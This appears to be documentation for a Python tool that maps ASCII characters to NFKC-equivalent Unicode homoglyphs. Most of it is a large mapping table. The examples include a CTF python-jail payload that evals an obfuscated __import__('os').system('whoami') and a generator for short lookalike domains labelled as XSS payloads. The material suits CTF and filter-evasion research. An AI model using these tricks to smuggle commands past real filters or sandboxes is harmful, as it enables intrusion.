(s) 	 115 	 ['ลฟ', 'หข', 'โ‚›', 'โ‚จ', 'โ„', 'โ’ฎ', 'โ“ข', 'ใŽง', 'ใŽจ', 'ใŽฎ', 'ใŽฏ', 'ใŽฐ', 'ใŽฑ', 'ใŽฒ', 'ใŽณ', 'ใ›', '๏ฌ…', '๏ฌ†', '๏ฝ“', '๐ฌ', '๐‘ ', '๐’”', '๐“ˆ', '๐“ผ', '๐”ฐ', '๐•ค', '๐–˜', '๐—Œ', '๐˜€', '๐˜ด', '๐™จ', '๐šœ']
(D) 	 68 	 ['ว„', 'ว…', 'วฑ', 'วฒ', 'แดฐ', 'โ……', 'โ…ฎ', 'โ’น', 'ใ‹', '๏ผค', '๐ƒ', '๐ท', '๐‘ซ', '๐’Ÿ', '๐““', '๐”‡', '๐”ป', '๐•ฏ', '๐–ฃ', '๐——', '๐˜‹', '๐˜ฟ', '๐™ณ', '๐Ÿ„“', '๐Ÿ„ญ', '๐Ÿ„ณ', '๐Ÿ…Œ', '๐Ÿ…ซ', '๐Ÿ†']
(d) 	 100 	 ['ว†', 'วณ', 'แตˆ', 'โ…†', 'โ…พ', 'โ’Ÿ', 'โ““', 'ใฒ', 'ใท', 'ใธ', 'ใน', 'ใŽ—', 'ใŽญ', 'ใŽฎ', 'ใŽฏ', 'ใ…', 'ใˆ', '๏ฝ„', '๐', '๐‘‘', '๐’…', '๐’น', '๐“ญ', '๐”ก', '๐••', '๐–‰', '๐–ฝ', '๐—ฑ', '๐˜ฅ', '๐™™', '๐š']
(N) 	 78 	 ['วŠ', 'ว‹', 'แดบ', 'โ„•', 'โ„–', 'โ“ƒ', '๏ผฎ', '๐', '๐‘', '๐‘ต', '๐’ฉ', '๐“', '๐”‘', '๐•น', '๐–ญ', '๐—ก', '๐˜•', '๐™‰', '๐™ฝ', '๐Ÿ„', '๐Ÿ„ฝ']
(Z) 	 90 	 ['วฑ', 'โ„ค', 'โ„จ', 'โ“', '๏ผบ', '๐™', '๐‘', '๐’', '๐’ต', '๐“ฉ', '๐–…', '๐–น', '๐—ญ', '๐˜ก', '๐™•', '๐š‰', '๐Ÿ„ฉ', '๐Ÿ„ฎ', '๐Ÿ…‰']
(z) 	 122 	 ['วฒ', 'วณ', 'แถป', 'โ’ต', 'โ“ฉ', 'ใŽ', 'ใŽ‘', 'ใŽ’', 'ใŽ“', 'ใŽ”', '๏ฝš', '๐ณ', '๐‘ง', '๐’›', '๐“', '๐”ƒ', '๐”ท', '๐•ซ', '๐–Ÿ', '๐—“', '๐˜‡', '๐˜ป', '๐™ฏ', '๐šฃ']
(h) 	 104 	 ['สฐ', 'โ‚•', 'โ„Ž', 'โ’ฃ', 'โ“—', 'ใฑ', 'ใŠ', '๏ฝˆ', '๐ก', '๐’‰', '๐’ฝ', '๐“ฑ', '๐”ฅ', '๐•™', '๐–', '๐—', '๐—ต', '๐˜ฉ', '๐™', '๐š‘']
(r) 	 114 	 ['สณ', 'แตฃ', 'โ’ญ', 'โ“ก', 'ใ‹', 'ใด', 'ใŽญ', 'ใŽฎ', 'ใŽฏ', 'ใ›', '๏ฝ’', '๐ซ', '๐‘Ÿ', '๐’“', '๐“‡', '๐“ป', '๐”ฏ', '๐•ฃ', '๐–—', '๐—‹', '๐—ฟ', '๐˜ณ', '๐™ง', '๐š›']
(w) 	 119 	 ['สท', 'โ’ฒ', 'โ“ฆ', '๏ฝ—', '๐ฐ', '๐‘ค', '๐’˜', '๐“Œ', '๐”€', '๐”ด', '๐•จ', '๐–œ', '๐—', '๐˜„', '๐˜ธ', '๐™ฌ', '๐š ']
(y) 	 121 	 ['สธ', 'โ’ด', 'โ“จ', 'ใ‰', '๏ฝ™', '๐ฒ', '๐‘ฆ', '๐’š', '๐“Ž', '๐”‚', '๐”ถ', '๐•ช', '๐–ž', '๐—’', '๐˜†', '๐˜บ', '๐™ฎ', '๐šข']
(x) 	 120 	 ['หฃ', 'โ‚“', 'โ…ธ', 'โ…น', 'โ…บ', 'โ…ป', 'โ’ณ', 'โ“ง', 'ใ“', '๏ฝ˜', '๐ฑ', '๐‘ฅ', '๐’™', '๐“', '๐”', '๐”ต', '๐•ฉ', '๐–', '๐—‘', '๐˜…', '๐˜น', '๐™ญ', '๐šก']
(;) 	 59 	 ['อพ', '๏ธ”', '๏น”', '๏ผ›']
(A) 	 65 	 ['แดฌ', 'โ„ป', 'โ’ถ', 'ใณ', 'ใŽ€', 'ใŽ', 'ใŽ‚', 'ใŽƒ', 'ใŽ„', 'ใŸ', '๏ผก', '๐€', '๐ด', '๐‘จ', '๐’œ', '๐“', '๐”„', '๐”ธ', '๐•ฌ', '๐– ', '๐—”', '๐˜ˆ', '๐˜ผ', '๐™ฐ', '๐Ÿ„', '๐Ÿ„ฐ']
(B) 	 66 	 ['แดฎ', 'โ„ฌ', 'โ’ท', 'ใŽ…', 'ใŽ†', 'ใŽ‡', 'ใƒ', 'ใˆ', '๏ผข', '๐', '๐ต', '๐‘ฉ', '๐“‘', '๐”…', '๐”น', '๐•ญ', '๐–ก', '๐—•', '๐˜‰', '๐˜ฝ', '๐™ฑ', '๐Ÿ„‘', '๐Ÿ„ฑ']
(E) 	 69 	 ['แดฑ', 'โ„ก', 'โ„ฐ', 'โ’บ', 'ใ‰', '๏ผฅ', '๐„', '๐ธ', '๐‘ฌ', '๐“”', '๐”ˆ', '๐”ผ', '๐•ฐ', '๐–ค', '๐—˜', '๐˜Œ', '๐™€', '๐™ด', '๐Ÿ„”', '๐Ÿ„ด']
(G) 	 71 	 ['แดณ', 'โ’ผ', 'ใŽ‡', 'ใŽ“', 'ใŽฌ', 'ใ‰', '๏ผง', '๐†', '๐บ', '๐‘ฎ', '๐’ข', '๐“–', '๐”Š', '๐”พ', '๐•ฒ', '๐–ฆ', '๐—š', '๐˜Ž', '๐™‚', '๐™ถ', '๐Ÿ„–', '๐Ÿ„ถ']
(H) 	 72 	 ['แดด', 'โ„‹', 'โ„Œ', 'โ„', 'โ’ฝ', 'ใ‹Œ', 'ใŽ', 'ใŽ‘', 'ใŽ’', 'ใŽ“', 'ใŽ”', 'ใ‹', 'ใ—', '๏ผจ', '๐‡', '๐ป', '๐‘ฏ', '๐“—', '๐•ณ', '๐–ง', '๐—›', '๐˜', '๐™ƒ', '๐™ท', '๐Ÿ„—', '๐Ÿ„ท', '๐Ÿ…Š']
(K) 	 75 	 ['แดท', 'โ„ช', 'โ“€', 'ใŽ…', 'ใ', 'ใ', 'ใŽ', '๏ผซ', '๐Š', '๐พ', '๐‘ฒ', '๐’ฆ', '๐“š', '๐”Ž', '๐•‚', '๐•ถ', '๐–ช', '๐—ž', '๐˜’', '๐™†', '๐™บ', '๐Ÿ„š', '๐Ÿ„บ']
(M) 	 77 	 ['แดน', 'โ„ ', 'โ„ข', 'โ„ณ', 'โ…ฏ', 'โ“‚', 'ใŽ†', 'ใŽ’', 'ใŽซ', 'ใŽน', 'ใŽฟ', 'ใ', 'ใŽ', 'ใ™', '๏ผญ', '๐Œ', '๐‘€', '๐‘ด', '๐“œ', '๐”', '๐•„', '๐•ธ', '๐–ฌ', '๐— ', '๐˜”', '๐™ˆ', '๐™ผ', '๐Ÿ„œ', '๐Ÿ„ผ', '๐Ÿ…‹', '๐Ÿ…ช', '๐Ÿ…ซ', '๐Ÿ…ฌ']
(O) 	 79 	 ['แดผ', 'โ“„', '๏ผฏ', '๐Ž', '๐‘‚', '๐‘ถ', '๐’ช', '๐“ž', '๐”’', '๐•†', '๐•บ', '๐–ฎ', '๐—ข', '๐˜–', '๐™Š', '๐™พ', '๐Ÿ„ž', '๐Ÿ„พ']
(P) 	 80 	 ['แดพ', 'โ„™', 'โ“…', 'ใ‰', 'ใฑ', 'ใŽฉ', 'ใŽช', 'ใŽซ', 'ใŽฌ', 'ใ‹', 'ใ—', 'ใ™', 'ใ™', 'ใš', '๏ผฐ', '๐', '๐‘ƒ', '๐‘ท', '๐’ซ', '๐“Ÿ', '๐”“', '๐•ป', '๐–ฏ', '๐—ฃ', '๐˜—', '๐™‹', '๐™ฟ', '๐Ÿ„Ÿ', '๐Ÿ„ฟ', '๐Ÿ…Ž', '๐Ÿ…Ž']
(R) 	 82 	 ['แดฟ', 'โ‚จ', 'โ„›', 'โ„œ', 'โ„', 'โ“‡', 'ใš', '๏ผฒ', '๐‘', '๐‘…', '๐‘น', '๐“ก', '๐•ฝ', '๐–ฑ', '๐—ฅ', '๐˜™', '๐™', '๐š', '๐Ÿ„ก', '๐Ÿ„ฌ', '๐Ÿ…', '๐Ÿ…ฌ']
(T) 	 84 	 ['แต€', 'โ„ก', 'โ„ข', 'โ“‰', 'ใ‰', 'ใ‹', 'ใŽ”', '๏ผด', '๐“', '๐‘‡', '๐‘ป', '๐’ฏ', '๐“ฃ', '๐”—', '๐•‹', '๐•ฟ', '๐–ณ', '๐—ง', '๐˜›', '๐™', '๐šƒ', '๐Ÿ„ฃ', '๐Ÿ…ƒ']
(U) 	 85 	 ['แต', 'โ“Š', 'ใณ', 'ใบ', '๏ผต', '๐”', '๐‘ˆ', '๐‘ผ', '๐’ฐ', '๐“ค', '๐”˜', '๐•Œ', '๐–€', '๐–ด', '๐—จ', '๐˜œ', '๐™', '๐š„', '๐Ÿ„ค', '๐Ÿ…„']
(W) 	 87 	 ['แต‚', 'โ“Œ', 'ใŽบ', 'ใŽป', 'ใŽผ', 'ใŽฝ', 'ใŽพ', 'ใŽฟ', 'ใ', '๏ผท', '๐–', '๐‘Š', '๐‘พ', '๐’ฒ', '๐“ฆ', '๐”š', '๐•Ž', '๐–‚', '๐–ถ', '๐—ช', '๐˜ž', '๐™’', '๐š†', '๐Ÿ„ฆ', '๐Ÿ„ฎ', '๐Ÿ…†', '๐Ÿ…']
(b) 	 98 	 ['แต‡', 'โ’', 'โ“‘', 'ใด', 'ใ”', 'ใ', '๏ฝ‚', '๐›', '๐‘', '๐’ƒ', '๐’ท', '๐“ซ', '๐”Ÿ', '๐•“', '๐–‡', '๐–ป', '๐—ฏ', '๐˜ฃ', '๐™—', '๐š‹']
(e) 	 101 	 ['แต‰', 'โ‚‘', 'โ„ฏ', 'โ…‡', 'โ’ ', 'โ“”', 'ใ‹', 'ใ‹Ž', '๏ฝ…', '๐ž', '๐‘’', '๐’†', '๐“ฎ', '๐”ข', '๐•–', '๐–Š', '๐–พ', '๐—ฒ', '๐˜ฆ', '๐™š', '๐šŽ']
(g) 	 103 	 ['แต', 'โ„Š', 'โ’ข', 'โ“–', 'ใ‹Œ', 'ใ‹', 'ใŽ', 'ใŽŽ', 'ใŽ', 'ใ†', 'ใ’', 'ใฟ', '๏ฝ‡', '๐ ', '๐‘”', '๐’ˆ', '๐“ฐ', '๐”ค', '๐•˜', '๐–Œ', '๐—€', '๐—ด', '๐˜จ', '๐™œ', '๐š']
(k) 	 107 	 ['แต', 'โ‚–', 'โ’ฆ', 'โ“š', 'ใŽ„', 'ใŽ‰', 'ใŽ', 'ใŽ‘', 'ใŽ˜', 'ใŽž', 'ใŽข', 'ใŽฆ', 'ใŽช', 'ใŽธ', 'ใŽพ', 'ใ€', 'ใ†', 'ใ', '๏ฝ‹', '๐ค', '๐‘˜', '๐’Œ', '๐“€', '๐“ด', '๐”จ', '๐•œ', '๐–', '๐—„', '๐—ธ', '๐˜ฌ', '๐™ ', '๐š”']
(m) 	 109 	 ['แต', 'โ‚˜', 'โ…ฟ', 'โ’จ', 'โ“œ', 'ใท', 'ใธ', 'ใน', 'ใŽƒ', 'ใŽŽ', 'ใŽ–', 'ใŽ™', 'ใŽš', 'ใŽ›', 'ใŽœ', 'ใŽœ', 'ใŽ', 'ใŽž', 'ใŽŸ', 'ใŽŸ', 'ใŽ ', 'ใŽก', 'ใŽข', 'ใŽฃ', 'ใŽฃ', 'ใŽค', 'ใŽฅ', 'ใŽฆ', 'ใŽง', 'ใŽจ', 'ใŽณ', 'ใŽท', 'ใŽฝ', 'ใ‚', 'ใ', 'ใ”', 'ใ•', 'ใ–', 'ใ˜', 'ใž', 'ใŸ', '๏ฝ', '๐ฆ', '๐‘š', '๐’Ž', '๐“‚', '๐“ถ', '๐”ช', '๐•ž', '๐–’', '๐—†', '๐—บ', '๐˜ฎ', '๐™ข', '๐š–']
(p) 	 112 	 ['แต–', 'โ‚š', 'โ’ซ', 'โ“Ÿ', 'ใถ', 'ใŽ€', 'ใŽŠ', 'ใŽฐ', 'ใŽด', 'ใŽบ', 'ใ˜', '๏ฝ', '๐ฉ', '๐‘', '๐’‘', '๐“…', '๐“น', '๐”ญ', '๐•ก', '๐–•', '๐—‰', '๐—ฝ', '๐˜ฑ', '๐™ฅ', '๐š™']
(t) 	 116 	 ['แต—', 'โ‚œ', 'โ’ฏ', 'โ“ฃ', 'ใ', '๏ฌ…', '๏ฌ†', '๏ฝ”', '๐ญ', '๐‘ก', '๐’•', '๐“‰', '๐“ฝ', '๐”ฑ', '๐•ฅ', '๐–™', '๐—', '๐˜', '๐˜ต', '๐™ฉ', '๐š']
(u) 	 117 	 ['แต˜', 'แตค', 'โ„†', 'โ’ฐ', 'โ“ค', '๏ฝ•', '๐ฎ', '๐‘ข', '๐’–', '๐“Š', '๐“พ', '๐”ฒ', '๐•ฆ', '๐–š', '๐—Ž', '๐˜‚', '๐˜ถ', '๐™ช', '๐šž']
(v) 	 118 	 ['แต›', 'แตฅ', 'โ…ณ', 'โ…ด', 'โ…ต', 'โ…ถ', 'โ…ท', 'โ’ฑ', 'โ“ฅ', 'ใœ', '๏ฝ–', '๐ฏ', '๐‘ฃ', '๐’—', '๐“‹', '๐“ฟ', '๐”ณ', '๐•ง', '๐–›', '๐—', '๐˜ƒ', '๐˜ท', '๐™ซ', '๐šŸ']
(c) 	 99 	 ['แถœ', 'โ„€', 'โ„…', 'โ„†', 'โ…ฝ', 'โ’ž', 'โ“’', 'ใถ', 'ใŽˆ', 'ใŽ‰', 'ใŽ', 'ใŽ ', 'ใŽค', 'ใ„', 'ใ„', 'ใ…', '๏ฝƒ', '๐œ', '๐‘', '๐’„', '๐’ธ', '๐“ฌ', '๐” ', '๐•”', '๐–ˆ', '๐–ผ', '๐—ฐ', '๐˜ค', '๐™˜', '๐šŒ']
(f) 	 102 	 ['แถ ', 'โ’ก', 'โ“•', 'ใŽ™', '๏ฌ€', '๏ฌ€', '๏ฌ', '๏ฌ‚', '๏ฌƒ', '๏ฌƒ', '๏ฌ„', '๏ฌ„', '๏ฝ†', '๐Ÿ', '๐‘“', '๐’‡', '๐’ป', '๐“ฏ', '๐”ฃ', '๐•—', '๐–‹', '๐–ฟ', '๐—ณ', '๐˜ง', '๐™›', '๐š']
(`) 	 96 	 ['แฟฏ', '๏ฝ€']
(.) 	 46 	 ['โ€ค', 'โ€ฅ', 'โ€ฅ', 'โ€ฆ', 'โ€ฆ', 'โ€ฆ', 'โ’ˆ', 'โ’‰', 'โ’Š', 'โ’‹', 'โ’Œ', 'โ’', 'โ’Ž', 'โ’', 'โ’', 'โ’‘', 'โ’’', 'โ’“', 'โ’”', 'โ’•', 'โ’–', 'โ’—', 'โ’˜', 'โ’™', 'โ’š', 'โ’›', 'ใ‚', 'ใ‚', 'ใ‡', 'ใ˜', 'ใ˜', '๏ธ™', '๏ธ™', '๏ธ™', '๏ธฐ', '๏ธฐ', '๏น’', '๏ผŽ', '๐Ÿ„€']
(!) 	 33 	 ['โ€ผ', 'โ€ผ', 'โˆ', 'โ‰', '๏ธ•', '๏น—', '๏ผ']
(?) 	 63 	 ['โ‡', 'โ‡', 'โˆ', 'โ‰', '๏ธ–', '๏น–', '๏ผŸ']
(0) 	 48 	 ['โฐ', 'โ‚€', 'โ…’', 'โ†‰', 'โ‘ฉ', 'โ‘ณ', 'โ‘ฝ', 'โ’‡', 'โ’‘', 'โ’›', 'โ“ช', 'ใ‰š', 'ใŠต', 'ใŠฟ', 'ใ‹‰', 'ใ˜', 'ใข', 'ใฌ', 'ใฉ', 'ใณ', 'ใฝ', '๏ผ', '๐ŸŽ', '๐Ÿ˜', '๐Ÿข', '๐Ÿฌ', '๐Ÿถ', '๐Ÿ„€', '๐Ÿ„']
(5) 	 53 	 ['โต', 'โ‚…', 'โ…•', 'โ…–', 'โ…—', 'โ…˜', 'โ…š', 'โ…', 'โ‘ค', 'โ‘ฎ', 'โ‘ธ', 'โ’‚', 'โ’Œ', 'โ’–', 'ใ‰•', 'ใ‰Ÿ', 'ใŠบ', 'ใŠฟ', 'ใ‹„', 'ใ', 'ใง', 'ใค', 'ใฎ', 'ใธ', '๏ผ•', '๐Ÿ“', '๐Ÿ', '๐Ÿง', '๐Ÿฑ', '๐Ÿป', '๐Ÿ„†']
(6) 	 54 	 ['โถ', 'โ‚†', 'โ…™', 'โ…š', 'โ‘ฅ', 'โ‘ฏ', 'โ‘น', 'โ’ƒ', 'โ’', 'โ’—', 'ใ‰–', 'ใŠฑ', 'ใŠป', 'ใ‹…', 'ใž', 'ใจ', 'ใฅ', 'ใฏ', 'ใน', '๏ผ–', '๐Ÿ”', '๐Ÿž', '๐Ÿจ', '๐Ÿฒ', '๐Ÿผ', '๐Ÿ„‡']
(7) 	 55 	 ['โท', 'โ‚‡', 'โ…', 'โ…ž', 'โ‘ฆ', 'โ‘ฐ', 'โ‘บ', 'โ’„', 'โ’Ž', 'โ’˜', 'ใ‰—', 'ใŠฒ', 'ใŠผ', 'ใ‹†', 'ใŸ', 'ใฉ', 'ใฆ', 'ใฐ', 'ใบ', '๏ผ—', '๐Ÿ•', '๐ŸŸ', '๐Ÿฉ', '๐Ÿณ', '๐Ÿฝ', '๐Ÿ„ˆ']
(8) 	 56 	 ['โธ', 'โ‚ˆ', 'โ…›', 'โ…œ', 'โ…', 'โ…ž', 'โ‘ง', 'โ‘ฑ', 'โ‘ป', 'โ’…', 'โ’', 'โ’™', 'ใ‰˜', 'ใŠณ', 'ใŠฝ', 'ใ‹‡', 'ใ ', 'ใช', 'ใง', 'ใฑ', 'ใป', '๏ผ˜', '๐Ÿ–', '๐Ÿ ', '๐Ÿช', '๐Ÿด', '๐Ÿพ', '๐Ÿ„‰']
(9) 	 57 	 ['โน', 'โ‚‰', 'โ…‘', 'โ‘จ', 'โ‘ฒ', 'โ‘ผ', 'โ’†', 'โ’', 'โ’š', 'ใ‰™', 'ใŠด', 'ใŠพ', 'ใ‹ˆ', 'ใก', 'ใซ', 'ใจ', 'ใฒ', 'ใผ', '๏ผ™', '๐Ÿ—', '๐Ÿก', '๐Ÿซ', '๐Ÿต', '๐Ÿฟ', '๐Ÿ„Š']
(+) 	 43 	 ['โบ', 'โ‚Š', '๏ฌฉ', '๏นข', '๏ผ‹']
(=) 	 61 	 ['โผ', 'โ‚Œ', 'โฉด', 'โฉต', 'โฉต', 'โฉถ', 'โฉถ', 'โฉถ', '๏นฆ', '๏ผ']
(() 	 40 	 ['โฝ', 'โ‚', 'โ‘ด', 'โ‘ต', 'โ‘ถ', 'โ‘ท', 'โ‘ธ', 'โ‘น', 'โ‘บ', 'โ‘ป', 'โ‘ผ', 'โ‘ฝ', 'โ‘พ', 'โ‘ฟ', 'โ’€', 'โ’', 'โ’‚', 'โ’ƒ', 'โ’„', 'โ’…', 'โ’†', 'โ’‡', 'โ’œ', 'โ’', 'โ’ž', 'โ’Ÿ', 'โ’ ', 'โ’ก', 'โ’ข', 'โ’ฃ', 'โ’ค', 'โ’ฅ', 'โ’ฆ', 'โ’ง', 'โ’จ', 'โ’ฉ', 'โ’ช', 'โ’ซ', 'โ’ฌ', 'โ’ญ', 'โ’ฎ', 'โ’ฏ', 'โ’ฐ', 'โ’ฑ', 'โ’ฒ', 'โ’ณ', 'โ’ด', 'โ’ต', 'ใˆ€', 'ใˆ', 'ใˆ‚', 'ใˆƒ', 'ใˆ„', 'ใˆ…', 'ใˆ†', 'ใˆ‡', 'ใˆˆ', 'ใˆ‰', 'ใˆŠ', 'ใˆ‹', 'ใˆŒ', 'ใˆ', 'ใˆŽ', 'ใˆ', 'ใˆ', 'ใˆ‘', 'ใˆ’', 'ใˆ“', 'ใˆ”', 'ใˆ•', 'ใˆ–', 'ใˆ—', 'ใˆ˜', 'ใˆ™', 'ใˆš', 'ใˆ›', 'ใˆœ', 'ใˆ', 'ใˆž', 'ใˆ ', 'ใˆก', 'ใˆข', 'ใˆฃ', 'ใˆค', 'ใˆฅ', 'ใˆฆ', 'ใˆง', 'ใˆจ', 'ใˆฉ', 'ใˆช', 'ใˆซ', 'ใˆฌ', 'ใˆญ', 'ใˆฎ', 'ใˆฏ', 'ใˆฐ', 'ใˆฑ', 'ใˆฒ', 'ใˆณ', 'ใˆด', 'ใˆต', 'ใˆถ', 'ใˆท', 'ใˆธ', 'ใˆน', 'ใˆบ', 'ใˆป', 'ใˆผ', 'ใˆฝ', 'ใˆพ', 'ใˆฟ', 'ใ‰€', 'ใ‰', 'ใ‰‚', 'ใ‰ƒ', '๏ธต', '๏น™', '๏ผˆ', '๐Ÿ„', '๐Ÿ„‘', '๐Ÿ„’', '๐Ÿ„“', '๐Ÿ„”', '๐Ÿ„•', '๐Ÿ„–', '๐Ÿ„—', '๐Ÿ„˜', '๐Ÿ„™', '๐Ÿ„š', '๐Ÿ„›', '๐Ÿ„œ', '๐Ÿ„', '๐Ÿ„ž', '๐Ÿ„Ÿ', '๐Ÿ„ ', '๐Ÿ„ก', '๐Ÿ„ข', '๐Ÿ„ฃ', '๐Ÿ„ค', '๐Ÿ„ฅ', '๐Ÿ„ฆ', '๐Ÿ„ง', '๐Ÿ„จ', '๐Ÿ„ฉ']
()) 	 41 	 ['โพ', 'โ‚Ž', 'โ‘ด', 'โ‘ต', 'โ‘ถ', 'โ‘ท', 'โ‘ธ', 'โ‘น', 'โ‘บ', 'โ‘ป', 'โ‘ผ', 'โ‘ฝ', 'โ‘พ', 'โ‘ฟ', 'โ’€', 'โ’', 'โ’‚', 'โ’ƒ', 'โ’„', 'โ’…', 'โ’†', 'โ’‡', 'โ’œ', 'โ’', 'โ’ž', 'โ’Ÿ', 'โ’ ', 'โ’ก', 'โ’ข', 'โ’ฃ', 'โ’ค', 'โ’ฅ', 'โ’ฆ', 'โ’ง', 'โ’จ', 'โ’ฉ', 'โ’ช', 'โ’ซ', 'โ’ฌ', 'โ’ญ', 'โ’ฎ', 'โ’ฏ', 'โ’ฐ', 'โ’ฑ', 'โ’ฒ', 'โ’ณ', 'โ’ด', 'โ’ต', 'ใˆ€', 'ใˆ', 'ใˆ‚', 'ใˆƒ', 'ใˆ„', 'ใˆ…', 'ใˆ†', 'ใˆ‡', 'ใˆˆ', 'ใˆ‰', 'ใˆŠ', 'ใˆ‹', 'ใˆŒ', 'ใˆ', 'ใˆŽ', 'ใˆ', 'ใˆ', 'ใˆ‘', 'ใˆ’', 'ใˆ“', 'ใˆ”', 'ใˆ•', 'ใˆ–', 'ใˆ—', 'ใˆ˜', 'ใˆ™', 'ใˆš', 'ใˆ›', 'ใˆœ', 'ใˆ', 'ใˆž', 'ใˆ ', 'ใˆก', 'ใˆข', 'ใˆฃ', 'ใˆค', 'ใˆฅ', 'ใˆฆ', 'ใˆง', 'ใˆจ', 'ใˆฉ', 'ใˆช', 'ใˆซ', 'ใˆฌ', 'ใˆญ', 'ใˆฎ', 'ใˆฏ', 'ใˆฐ', 'ใˆฑ', 'ใˆฒ', 'ใˆณ', 'ใˆด', 'ใˆต', 'ใˆถ', 'ใˆท', 'ใˆธ', 'ใˆน', 'ใˆบ', 'ใˆป', 'ใˆผ', 'ใˆฝ', 'ใˆพ', 'ใˆฟ', 'ใ‰€', 'ใ‰', 'ใ‰‚', 'ใ‰ƒ', '๏ธถ', '๏นš', '๏ผ‰', '๐Ÿ„', '๐Ÿ„‘', '๐Ÿ„’', '๐Ÿ„“', '๐Ÿ„”', '๐Ÿ„•', '๐Ÿ„–', '๐Ÿ„—', '๐Ÿ„˜', '๐Ÿ„™', '๐Ÿ„š', '๐Ÿ„›', '๐Ÿ„œ', '๐Ÿ„', '๐Ÿ„ž', '๐Ÿ„Ÿ', '๐Ÿ„ ', '๐Ÿ„ก', '๐Ÿ„ข', '๐Ÿ„ฃ', '๐Ÿ„ค', '๐Ÿ„ฅ', '๐Ÿ„ฆ', '๐Ÿ„ง', '๐Ÿ„จ', '๐Ÿ„ฉ']
(/) 	 47 	 ['โ„€', 'โ„', 'โ„…', 'โ„†', '๏ผ']
(C) 	 67 	 ['โ„‚', 'โ„ƒ', 'โ„ญ', 'โ…ญ', 'โ’ธ', 'ใ†', 'ใ‡', '๏ผฃ', '๐‚', '๐ถ', '๐‘ช', '๐’ž', '๐“’', '๐•ฎ', '๐–ข', '๐—–', '๐˜Š', '๐˜พ', '๐™ฒ', '๐Ÿ„’', '๐Ÿ„ซ', '๐Ÿ„ญ', '๐Ÿ„ฒ', '๐Ÿ…', '๐Ÿ…ช']
(F) 	 70 	 ['โ„‰', 'โ„ฑ', 'โ„ป', 'โ’ป', 'ใŽŠ', 'ใŽ‹', 'ใŽŒ', '๏ผฆ', '๐…', '๐น', '๐‘ญ', '๐“•', '๐”‰', '๐”ฝ', '๐•ฑ', '๐–ฅ', '๐—™', '๐˜', '๐™', '๐™ต', '๐Ÿ„•', '๐Ÿ„ต']
(Q) 	 81 	 ['โ„š', 'โ“†', '๏ผฑ', '๐', '๐‘„', '๐‘ธ', '๐’ฌ', '๐“ ', '๐””', '๐•ผ', '๐–ฐ', '๐—ค', '๐˜˜', '๐™Œ', '๐š€', '๐Ÿ„ ', '๐Ÿ…€']
(S) 	 83 	 ['โ„ ', 'โ“ˆ', 'ใœ', '๏ผณ', '๐’', '๐‘†', '๐‘บ', '๐’ฎ', '๐“ข', '๐”–', '๐•Š', '๐•พ', '๐–ฒ', '๐—ฆ', '๐˜š', '๐™Ž', '๐š‚', '๐Ÿ„ข', '๐Ÿ„ช', '๐Ÿ…‚', '๐Ÿ…Œ', '๐Ÿ…', '๐Ÿ…']
(X) 	 88 	 ['โ„ป', 'โ…จ', 'โ…ฉ', 'โ…ช', 'โ…ซ', 'โ“', '๏ผธ', '๐—', '๐‘‹', '๐‘ฟ', '๐’ณ', '๐“ง', '๐”›', '๐•', '๐–ƒ', '๐–ท', '๐—ซ', '๐˜Ÿ', '๐™“', '๐š‡', '๐Ÿ„ง', '๐Ÿ…‡']
(V) 	 86 	 ['โ…ฃ', 'โ…ค', 'โ…ฅ', 'โ…ฆ', 'โ…ง', 'โ“‹', 'โฑฝ', 'ใ‹Ž', 'ใต', 'ใŽด', 'ใŽต', 'ใŽถ', 'ใŽท', 'ใŽธ', 'ใŽน', 'ใž', '๏ผถ', '๐•', '๐‘‰', '๐‘ฝ', '๐’ฑ', '๐“ฅ', '๐”™', '๐•', '๐–', '๐–ต', '๐—ฉ', '๐˜', '๐™‘', '๐š…', '๐Ÿ„ฅ', '๐Ÿ……', '๐Ÿ…Š', '๐Ÿ…‹', '๐Ÿ…Ž']
(q) 	 113 	 ['โ’ฌ', 'โ“ ', 'ใƒ', '๏ฝ‘', '๐ช', '๐‘ž', '๐’’', '๐“†', '๐“บ', '๐”ฎ', '๐•ข', '๐––', '๐—Š', '๐—พ', '๐˜ฒ', '๐™ฆ', '๐šš']
(Y) 	 89 	 ['โ“Ž', '๏ผน', '๐˜', '๐‘Œ', '๐’€', '๐’ด', '๐“จ', '๐”œ', '๐•', '๐–„', '๐–ธ', '๐—ฌ', '๐˜ ', '๐™”', '๐šˆ', '๐Ÿ„จ', '๐Ÿ…ˆ']
(:) 	 58 	 ['โฉด', 'โฉด', '๏ธ“', '๏น•', '๏ผš']
(,) 	 44 	 ['๏ธ', '๏น', '๏ผŒ', '๐Ÿ„', '๐Ÿ„‚', '๐Ÿ„ƒ', '๐Ÿ„„', '๐Ÿ„…', '๐Ÿ„†', '๐Ÿ„‡', '๐Ÿ„ˆ', '๐Ÿ„‰', '๐Ÿ„Š']
(_) 	 95 	 ['๏ธณ', '๏ธด', '๏น', '๏นŽ', '๏น', '๏ผฟ']
({) 	 123 	 ['๏ธท', '๏น›', '๏ฝ›']
(}) 	 125 	 ['๏ธธ', '๏นœ', '๏ฝ']
([) 	 91 	 ['๏น‡', '๏ผป']
(]) 	 93 	 ['๏นˆ', '๏ผฝ']
(#) 	 35 	 ['๏นŸ', '๏ผƒ']
(&) 	 38 	 ['๏น ', '๏ผ†']
(*) 	 42 	 ['๏นก', '๏ผŠ']
(-) 	 45 	 ['๏นฃ', '๏ผ']
(<) 	 60 	 ['๏นค', '๏ผœ']
(>) 	 62 	 ['๏นฅ', '๏ผž']
(\) 	 92 	 ['๏นจ', '๏ผผ']
($) 	 36 	 ['๏นฉ', '๏ผ„']
(%) 	 37 	 ['๏นช', '๏ผ…']
(@) 	 64 	 ['๏นซ', '๏ผ ']
(") 	 34 	 ['๏ผ‚']
(') 	 39 	 ['๏ผ‡']
(^) 	 94 	 ['๏ผพ']
(|) 	 124 	 ['๏ฝœ']
(~) 	 126 	 ['๏ฝž']

convert a normal string to homograph string(NFKC mode)

  • case 1
print(gen_unicode_str("import"))

output:

๐—‚โ‚˜๐—‰๐—ˆสณ๐—
  • case 2

use in python eval

# N-CTF 2019 python_jail
# should run many times to find valid payload
code = f"__{gen_unicode_str('import')}__('os').{gen_unicode_str('system')}('whoami')"
eval(code)

output:

h13t0ry

generate tiny XSS domain

gen_funny_domain()

output:

real_domain 	 XSS_payload 	 length
ij.au 	ฤณ.ใณ 	3
ij.bar 	ฤฒ.ใด 	3
ij.cal 	ฤณ.ใŽˆ 	3
ij.cc 	ฤฒ.ใ„ 	3
ij.cd 	ฤฒ.๐Ÿ„ญ 	3
ij.cm 	ฤฒ.ใŽ 	3
ij.dj 	ฤณ.๐Ÿ† 	3
ij.dm 	ฤฒ.ใท 	3
ij.dz 	ฤฒ.วฑ 	3
